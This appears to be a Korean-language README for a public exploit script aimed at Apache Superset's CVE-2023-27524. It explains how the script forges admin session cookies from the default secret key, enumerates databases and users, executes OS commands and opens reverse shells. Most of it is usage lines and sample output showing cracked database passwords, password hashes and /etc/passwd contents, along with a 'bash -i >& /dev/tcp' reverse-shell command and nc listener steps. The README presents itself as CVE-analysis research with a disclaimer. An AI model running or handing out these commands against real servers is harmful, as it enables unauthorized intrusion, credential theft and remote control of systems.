
CVE-2023-27524를 대상으로 하는 Apache Superset 인증 우회 및 RCE 익스플로잇. 세션 쿠키를 위조하고, 데이터베이스/사용자를 열거하며, OS 명령을 실행하고, 취약한 인스턴스에 리버스 셸을 엽니다.
널리 사용되는 데이터 시각화 및 탐색용 오픈소스 도구인 Apache Superset에서 인증 우회 및 원격 코드 실행(RCE)으로 이어질 수 있는 잠재적인 보안 취약점이 발견되었습니다. 이러한 취약점으로 인해 공격자는 대상 서버에서 관리자 권한을 획득하여 사용자 자격 증명을 수집하고 잠재적으로 데이터를 손상시킬 수 있습니다.
해당 보안 문제는 CVE-2023-27524로 명명된 안전하지 않은 기본 구성 취약점입니다.
근본 원인은 설치 중에 설정된 예측 가능한 Flask Secret Key에 있으며, 이는 노출된 많은 Apache Superset 인스턴스에 영향을 미칩니다. 일부 완화 조치가 이루어졌지만, 이 취약점은 구성을 업데이트하지 않은 사용자에게 여전히 중요한 문제로 남아 있습니다.
이 문제는 RCE로 확대될 수 있습니다. 이 익스플로잇은 이 기능을 원본에 추가합니다.
공식 취약점 설명:
Apache Superset 2.0.1 이하 버전에서 세션 검증 공격이 가능합니다. 설치 지침에 따라 기본 구성 SECRET_KEY를 변경하지 않은 설치의 경우 공격자가 인증하고 권한이 없는 리소스에 액세스할 수 있습니다. 이는 SECRET_KEY config의 기본값을 변경한 Superset 관리자에게는 영향을 미치지 않습니다.
이 익스플로잇 스크립트는 vsociety의 CVE 분석을 위해 작성되었습니다.
PIP 패키지 설치:
pip3 install -r requirements.txt
사용법:
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
[--revshell REVSHELL] [--db-host]
options:
-h, --help show this help message and exit
--url URL, -u URL Host URL
--id ID User ID to forge session cookie for. Default=1
--wordlist WORDLIST, -w WORDLIST
Specify a wordlist file (default is 10.txt)
--validate, -v Validate the presence of vulnerability by login attempt
--enum-dbs, -dbs Enumerate databases
--enum-users, -eu Enumerate databases
--cmd CMD, -c CMD Run custom OS command on the database's server.
--revshell REVSHELL Specify IP:Port for reverse shell
--db-host Run commands or open reverse shell on the database server
# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt
[+] Session cookie found.
[+] Decoded session cookie: <REDACTED>
[+] Using '10k_most_common_passwords.txt' as a wordlist.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] Forged session cookie for user 1: <REDACTED>
[+] Superset Version: 2.0.1
[+] Login successful. Vulnerability is validated.
# python3 exploit.py -u http://localhost:8088 --enum-dbs
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] Version 2.0.1 seems vulnerable.
[+] Enumerating databases via API...
[+] Found database: "examples" with password "superset".
[+] Found database: "SQLite".
[+] Enumerating database connection data and cracking password if possible...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name | sqlalchemy_uri | password | decrypted_password |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset******** |
| SQLite | sqlite+pysqlite:////app/superset_home/superset.db | | |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] Process of enumerating databases finished.
# python3 exploit.py -u http://localhost:8088 --enum-users
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] Version 2.0.1 seems vulnerable.
[+] Checking existing metadata database connection...
[+] Settings of database with id 1 were successfully modified.
[+] Settings of database with id 2 were successfully modified.
[+] Superset metadata connection is already added with id 2.
[+] Trying to enumerate Superset users...
[+] RESULT:
+------------+--------------------------------------------------------------------------------------------------------+
| username | password |
|------------|--------------------------------------------------------------------------------------------------------|
| admin | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+
Superset 서버에서:
# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
이 경우 출력은 아직 볼 수 없습니다.
DB 서버에서:
# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] Version 2.0.1 seems vulnerable.
[+] Trying to run command on the database server...
[+] Settings of database with id 1 were successfully modified.
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| <REDACTED> |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash |
+-----------------------------------------------------------------------------------+
Superset 서버에서:
# 터미널 1
nc -lvnp [PORT]
# 터미널 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT]
DB 서버에서:
# 터미널 1
nc -lvnp [PORT]
# 터미널 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT] --db-host
이 익스플로잇 스크립트는 연구 목적과 효과적인 방어 기술 개발을 위해서만 제작되었습니다. 악의적이거나 승인되지 않은 활동에 사용하기 위한 것이 아닙니다. 스크립트의 저자와 소유자는 이 소프트웨어로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 사용자는 이 소프트웨어를 책임감 있게, 그리고 해당 법률 및 규정에 따라 사용해야 합니다. 책임감 있게 사용하십시오.